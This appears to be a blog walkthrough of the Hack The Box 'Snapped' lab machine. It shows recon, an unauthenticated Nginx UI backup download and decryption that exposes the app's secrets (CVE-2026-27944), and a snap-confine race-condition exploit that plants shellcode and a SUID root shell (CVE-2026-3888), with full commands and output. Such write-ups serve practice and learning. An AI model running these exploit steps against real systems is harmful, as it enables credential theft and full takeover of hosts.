HTB Snapped Writeup: Nginx UI Backup Exploit
A Hack The Box Snapped walkthrough covering Nginx UI backup exploitation, credential recovery, and Linux privilege escalation.
Initial Enumeration
After getting the target ip address, the first step was to perform an Nmap scan to identify open ports and services:
nmap -sC -sV -A -p- -O --min-rate=1000 10.129.42.237Scan Results:
Starting Nmap 7.95 at 2026-04-28 02:15 EDT
Nmap scan report for 10.129.42.237
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
| ssh-hostkey:
| 256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
|_ 256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://snapped.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hopsWeb Enumeration & Subdomain Discovery
Navigating to http://10.129.42.237 revealed a redirect to http://snapped.htb. The domain was added to /etc/hosts:
echo "10.129.42.237 snapped.htb" | tee -a /etc/hostsInitial browsing of snapped.htb didn't revealed anything juicy, so subdomain fuzzing was performed:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt \
-u http://snapped.htb -H "HOST: FUZZ.snapped.htb" -mc 200Discovery:
admin [Status: 200, Size: 1407, Words: 164, Lines: 50]The subdomain admin.snapped.htb was added to /etc/hosts and accessed, revealing an Nginx UI dashboard.
Exploiting CVE-2026-27944 (Nginx UI)
Research into Nginx UI vulnerabilities revealed:
Critical Vulnerabilities (2026):
CVE-2026-33032 (MCPwn Authentication Bypass - CVSS 9.8)
- The
/mcp_messageendpoint fails to enforce authentication - Allows unauthenticated attackers to manage Nginx and execute commands
- The
CVE-2026-27944 (Unauthenticated Backup Download - CVSS 9.8)
- Versions before 2.3.3 allow unauthenticated backup access
- AES-256 encryption key and IV disclosed in
X-Backup-Securityheader - Enables decryption of credentials, SSL keys, and configs
CVE-2026-33026 (Backup Tampering & Injection)
- Fixed in 2.3.4, allows malicious config injection
Exploiting the Backup Vulnerability
Accessing http://admin.snapped.htb/api/backup downloaded a ZIP file:
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ file backup-20260428-022136.zip
backup-20260428-022136.zip: Zip archive data
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ unzip backup-20260428-022136.zip
Archive: backup-20260428-022136.zip
inflating: hash_info.txt
inflating: nginx-ui.zip
inflating: nginx.zip┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ cat hash_info.txt
�)+��ƺ�c��MfL�U98�5�5Ԕ��G�c�]F�Ujr'���|�!
%&��(���x �9t5�Q�]_>��(@��B��k���c��7�2_O��#��\�����>�c{�Q�����ڄ�>l�����ƝT7/�}��X��uC��(
�A(�K�/��
��
ց��0QS�軭�� its encrypted
The X-Backup-Security header contained the encryption key and IV:
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 | grep -i "X-Backup-Security"
< X-Backup-Security: 4kaig8RUr+4NSvfJ6Of3bj6W7nP9VwYP9IjZGSiGCto=:wevqrDQJpKHXzrJSr+taQg==Decrypting the Backup
Using a public exploit for CVE-2026-27944:
https://github.com/Skynoxk/CVE-2026-27944
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb/CVE-2026-27944-POC]
└─$ python exploit_enhanced.py --target http://admin.snapped.htb --decrypt --show-secrets
======================================================================
CVE-2026-27944 - Nginx UI Unauthenticated Backup Download + Dashboard Access
======================================================================
[*] Downloading backup from http://admin.snapped.htb/api/backup
[+] Backup downloaded successfully (18306 bytes)
[+] Saved to: backup.bin
[*] X-Backup-Security header: FHAHISTlSj7auC9HPLsz6xby+mBvo3bvbl7VMyNOWZE=:ZMpW3hraTFvZc/EF6Rr+jw==
[+] Parsed AES-256 key: FHAHISTlSj7auC9HPLsz6xby+mBvo3bvbl7VMyNOWZE=
[+] Parsed AES IV : ZMpW3hraTFvZc/EF6Rr+jw==
[+] Key length: 32 bytes (AES-256 ✓)
[+] IV length : 16 bytes (AES block size ✓)
[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
→ Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
→ Saved to backup_extracted/nginx-ui_decrypted.zip (7688 bytes)
→ Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
→ Saved to backup_extracted/nginx_decrypted.zip (9936 bytes)
→ Extracted 22 files to backup_extracted/nginx
[*] Hash info:
nginx-ui_hash: 4ad8655192ed5ee220cb820d46db34c1049c37ef4a7ddc5482010620976e72bb
nginx_hash: 2f0263bd95d62226c216fff4bc222711b713e9b4a993207dc8695137c536af09
timestamp: 20260428-024653
version: 2.3.2
[*] Extracting secrets from backup_extracted/nginx-ui/app.ini
[+] Secrets extracted:
JWT Secret : 6c4af436-035a-4942-9ca6-172b36696ce9
Node Secret : c64d7ca1-19cb-4ebe-96d4-49037e7df78e
Crypto Secret : 5c942292647d73f597f47c0be2237bf7347cdb70a0e8e8558e448318862357d6
Email : admin@test.htb
[*] Verifying Node Secret bypass...
[+] Node Secret verified! Admin API access confirmed
[+] Total users in system: 2
┌──(kali㉿blackXploit)-[~/…/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui]
└─$ ls
app.ini database.db
┌──(kali㉿blackXploit)-[~/…/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui]
└─$ pwd
/home/kali/Downloads/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui
SSH Access
After cracking the password for user jonathan:
┌──(kali㉿blackXploit)-[~/Downloads]
└─$ ssh jonathan@snapped.htb
The authenticity of host 'snapped.htb (10.129.42.237)' can't be established.
ED25519 key fingerprint is: SHA256:n0XlQQqHGczclhalpCeoOZDYQGr7rl3WlJytHLWPkr8
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'snapped.htb' (ED25519) to the list of known hosts.
jonathan@snapped.htb's password: Successful Login:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)
jonathan@snapped:~$ ls
Desktop Documents Downloads linpeas.sh Music Pictures Public snap Templates user.txt VideosPrivilege Escalation via CVE-2026-3888
Understanding the Vulnerability
CVE-2026-3888 is a local privilege escalation vulnerability in snap-confine and systemd-tmpfiles. Here's how it works:
Step 1: The Regular Cleanup (The Trigger)
- Linux systems use
systemd-tmpfilesto delete old files in/tmpto save space - By default, it clears out files every few weeks
- The Flaw: When this service deletes
/tmp/.snap, it briefly leaves a "hole" where that folder used to be
Step 2: The Race Condition (The Timing)
- This is a TOCTOU (Time-of-Check to Time-of-Use) bug
- An attacker cannot delete the folder themselves (no permission), so they wait for the system to do it
- The Attack: The attacker runs a script that constantly watches that folder. The millisecond the system deletes it, the attacker's script "races" to recreate a new version of that folder before the real snap service notices it's gone
Step 3: The Bait-and-Switch
- Because the attacker created the new
/tmp/.snapfolder, they own it - They place a "trap" inside: a symbolic link pointing to a sensitive part of the system (like the root filesystem)
Step 4: The Elevation (The Payoff)
- Any snap app starting (or triggered by the attacker) causes
snap-confineto run snap-confinesees the folder is missing or needs resetting, so it prepares the sandbox- Because
snap-confineruns with Root privileges, it follows the attacker's "shortcut" without realizing it's a trap - It ends up mounting the attacker's malicious files into a high-privilege area
- The Result: The attacker, who started as a normal user, now has a "backdoor" into the system's core and becomes Root
System Information
jonathan@snapped:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-genericExecuting the Exploit
The exploit was run against the Firefox snap:
how this exploit works ?
systemd-tmpfiles deletes the stale .snap mimic directory under /tmp (30-day age-out)
Attacker recreates it with controlled content — all files owned by the attacker
Exploit single-steps snap-confine via AF_UNIX socket backpressure to reliably win the race during the mimic bind-mount sequence
Attacker-owned libraries are mounted into the sandbox as root
ld-linux-x86-64.so.2 is replaced with shellcode that calls setreuid(0,0) + execve
Executing SUID snap-confine triggers the shellcode with root privileges
SUID bash is dropped to /var/snap/firefox/common/ to escape the sandboxjonathan@snapped:~/snap$ ./exploit ./librootshell.so -d Exploit Output:
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/snap/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 65385
[Phase 2] Waiting for .snap deletion...
[*] --skip-wait: triggering cleanup...
[Phase 3] Race condition execution...
logger.go:93: DEBUG: need to create writable mimic needed to create path "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0"
logger.go:93: DEBUG: create-writable-mimic "/usr/lib/x86_64-linux-gnu"
logger.go:93: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: jonathan:jonathan 755
[+] Poisoned namespace PID: 65882
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================Root Access Achieved
bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
bash-5.1# ls
Desktop Documents Downloads linpeas.sh Music Pictures Public snap Templates user.txt Videos
bash-5.1# cd /root
bash-5.1# ls
nginxui root.txt snap
bash-5.1# cat root.txt
redactReferences
Thanks for reading ! happy hacking
Was this writeup helpful?
16 readers found this helpful
Comments
No comments yet — be the first to share your thoughts.